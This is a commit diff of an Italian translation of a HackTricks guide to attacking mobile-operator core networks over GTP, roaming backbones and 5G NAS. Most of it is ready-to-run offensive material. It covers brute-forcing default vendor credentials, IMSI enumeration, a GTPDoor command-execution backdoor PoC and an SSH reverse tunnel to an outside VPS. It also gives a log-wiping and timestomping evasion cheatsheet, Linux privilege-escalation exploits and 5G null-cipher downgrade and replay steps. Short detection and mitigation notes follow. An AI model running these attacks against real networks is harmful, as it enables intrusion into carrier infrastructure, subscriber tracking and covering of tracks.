Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 20:10:40 +00:00
parent 308e81fc7a
commit 53b10dd3da

View File

@ -1,27 +1,27 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
# Sfruttamento delle Reti Telecom (GTP / Ambienti di Roaming)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> I protocolli del core mobile (GPRS Tunnelling Protocol GTP) spesso attraversano backbone di roaming GRX/IPX semi-fidati. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi punto d'accesso all'interno di un perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le seguenti note raccolgono trucchi offensivi osservati sul campo contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
> I protocolli del core mobile (GPRS Tunnelling Protocol GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi accesso all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in natura contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
## 1. Recon & Initial Access
## 1. Ricognizione e Accesso Iniziale
### 1.1 Default OSS / NE Accounts
Un insieme sorprendentemente ampio di elementi di rete dei fornitori viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista di parole dedicata aumenta drasticamente il successo del brute-force:
### 1.1 Account OSS / NE di default
Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Se il dispositivo espone solo un VRF di gestione, pivotare prima attraverso un jump host (vedere la sezione «SGSN Emu Tunnel» qui sotto).
Se il dispositivo espone solo una management VRF, effettua prima il pivot tramite un jump host (vedi sezione «SGSN Emu Tunnel» qui sotto).
### 1.2 Scoperta degli Host all'interno di GRX/IPX
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combinare `masscan` con le sonde UDP `gtpv1` integrate per mappare rapidamente i listener GTP-C:
### 1.2 Rilevamento degli host all'interno di GRX/IPX
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerazione degli Abbonati `cordscan`
## 2. Enumerating Subscribers `cordscan`
Il seguente strumento Go crea pacchetti di **Richiesta di Creazione del Contesto PDP GTP-C** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, a volte, il PLMN visitato dall'abbonato.
Il seguente strumento Go crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogata e, talvolta, il PLMN visitato dall'abbonato.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Flag principali:
Opzioni principali:
- `--imsi` IMSI dell'abbonato target
- `--oper` Home / HNI (MCC+MNC)
- `-w` Scrivi pacchetti grezzi in pcap
- `-w` Scrive pacchetti raw in un file pcap
Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:
Costanti importanti all'interno del binario possono essere modificate per ampliare le scansioni:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Esecuzione di Codice su GTP `GTPDoor`
## 3. Esecuzione di codice su GTP `GTPDoor`
`GTPDoor` è un piccolo servizio ELF che **lega UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. L'output stdout/stderr viene estratto all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
`GTPDoor` è un piccolo servizio ELF che **binds UDP 2123 and parses every incoming GTP-C packet**. Quando il payload inizia con un tag pre-condiviso, il resto viene decriptato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
Pacchetto PoC minimo (Python):
```python
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Rilevamento:
* qualsiasi host che invia **Richieste Echo sbilanciate** agli IP SGSN
* flag di versione GTP impostato su 1 mentre il tipo di messaggio = 1 (Echo) deviazione dalle specifiche
* qualsiasi host che invii **unbalanced Echo Requests** agli IP SGSN
* flag versione GTP impostato a 1 mentre message type = 1 (Echo) deviazione dalla specifica
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un contesto PDP verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer in roaming.
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Con un corretto hair-pinning del firewall, questo tunnel bypassa i VLAN solo per il segnale e ti porta direttamente nel **data plane**.
Con un corretto firewall hair-pinning, questo tunnel aggira le signalling-only VLANs e ti porta direttamente nel **data plane**.
### 4.2 Tunnel SSH Reverse sulla Porta 53
Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno al tuo VPS in ascolto su :53 e tornare più tardi da casa:
### 4.2 SSH Reverse Tunnel over Port 53
DNS è quasi sempre aperto nelle infrastrutture roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e riconnettersi più tardi da casa:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Controlla che `GatewayPorts yes` sia abilitato sul VPS.
Verifica che `GatewayPorts yes` sia abilitato sul VPS.
## 5. Canali Clandestini
## 5. Canali nascosti
| Canale | Trasporto | Decodifica | Note |
|--------|-----------|------------|------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | chiave di 4 byte + chunk di 14 byte (XOR) | ascoltatore puramente passivo, nessun traffico in uscita |
| DNS `NoDepDNS` | UDP 53 | XOR (chiave = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE privato | si mescola con il legittimo scambio GTP-C |
|--------|-----------|-----------|------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, nessun traffico in uscita |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sotto-dominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo |
Tutti gli impianti implementano watchdog che **timestomp** i loro binari e si riavviano se si bloccano.
Tutti gli implants implementano watchdogs che **timestomp** i loro binari e re-spawnano in caso di crash.
## 6. Scheda di Evasione della Difesa
## 6. Cheatsheet per Defense Evasion
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Escalazione dei privilegi su NE legacy
## 7. Privilege Escalation su Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -111,30 +111,137 @@ python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Suggerimento per la pulizia:
Suggerimento per il clean-up:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Strumenti
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` strumenti personalizzati descritti nelle sezioni precedenti.
* `FScan` : scansioni TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS WPAD malevolo
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` tooling personalizzati descritti nelle sezioni precedenti.
* `FScan` : scansioni TCP della intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leggero
* `FRP` (≥0.37) : attraversamento NAT / bridging delle risorse
* `FRP` (≥0.37) : attraversamento NAT / bridging di asset
## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade a EEA0/EIA0, e NAS replay
La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata da Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molteplici vettori di attacco quando è possibile osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed).
Flusso di registrazione (semplificato):
- Registration Request: l'UE invia SUCI (SUPI cifrato) e capabilities.
- Authentication: AMF/AUSF inviano RAND/AUTN; l'UE restituisce RES*.
- Security Mode Command/Complete: vengono negoziati e attivati integrità e cifratura NAS.
- PDU Session Establishment: configurazione IP/QoS.
Consigli per il laboratorio (non-RF):
- Core: il deployment di default di Open5GS è sufficiente per riprodurre i flussi.
- UE: simulatore o UE di test; decodificare con Wireshark.
- Tool attivi: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtri utili in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Privacy degli identificatori: SUCI failures che espongono SUPI/IMSI
Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato.
Come testare:
- Catturare il primo messaggio NAS in InitialUEMessage e ispezionare il Mobile Identity IE.
- Controlli rapidi in Wireshark:
- Dovrebbe decodificare come SUCI, non come IMSI.
- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica esposizione.
Cosa raccogliere:
- MCC/MNC/MSIN se esposti; registrare per UE e tracciare nel tempo/luoghi.
Mitigazione:
- Forzare UE/USIM ad usare solo SUCI; generare allerta su qualsiasi IMSI/SUPI nel NAS iniziale.
### 9.2 Riduzione delle capability verso algoritmi nulli (EEA0/EIA0)
Contesto:
- L'UE dichiara gli EEA supportati (encryption) e gli EIA (integrity) nel UE Security Capability IE della Registration Request.
- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli.
Problema:
- Poiché la Registration Request non è protetta da integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 successivamente durante il Security Mode Command. Alcuni stack consentono erroneamente algoritmi nulli anche al di fuori dei servizi di emergenza.
Passi offensivi:
- Intercettare InitialUEMessage e modificare il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
- Con Sni5Gect, agganciare il messaggio NAS e patchare i bit di capability prima di inoltrarlo.
- Osservare se l'AMF accetta cifrature/integrità nulle e completa il Security Mode con EEA0/EIA0.
Verifica/visibilità:
- In Wireshark, confermare gli algoritmi selezionati dopo Security Mode Command/Complete.
- Esempio di output di uno sniffer passivo:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mitigazioni (obbligatorie):
- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza).
- Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e allertare su qualsiasi contesto di sicurezza NAS che negozia algoritmi null.
### 9.3 Replay della initial Registration Request (pre-security NAS)
Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere riprodotto verso l'AMF.
Regola PoC per 5GReplay per inoltrare i replay corrispondenti:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
Cosa osservare:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigazioni:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
### 9.4 Tooling pointers (reproducible)
- Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS.
- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration.
- 5GReplay: catturare una registration, poi replay di specifici NGAP + NAS messages secondo la regola.
- Sni5Gect: live sniff/modify/inject NAS control-plane per costringere null algorithms o perturbare authentication sequences.
### 9.5 Defensive checklist
- Ispezionare continuamente le Registration Request per plaintext SUPI/IMSI; bloccare i dispositivi/USIMs offenders.
- Rifiutare EEA0/EIA0 tranne che per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
- Rilevare infrastrutture rogue o mal configurate: unauthorized gNB/AMF, unexpected N2 peers.
- Allertare su NAS security modes che risultano in null algorithms o frequenti replay di InitialUEMessage.
---
## Idee di Rilevamento
1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce richieste di creazione del contesto PDP**.
2. **Porte non standard (53, 80, 443) che ricevono handshake SSH** da IP interni.
3. **Richieste Echo frequenti senza corrispondenti Risposte Echo** potrebbero indicare beacon GTPDoor.
4. **Alta frequenza di traffico ICMP echo-reply con campi identificatore/sequence grandi e non nulli**.
## Idee per la rilevazione
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## Riferimenti
- [Palo Alto Unit42 Infiltrazione delle reti telecom globali](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protocollo di tunneling GPRS (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}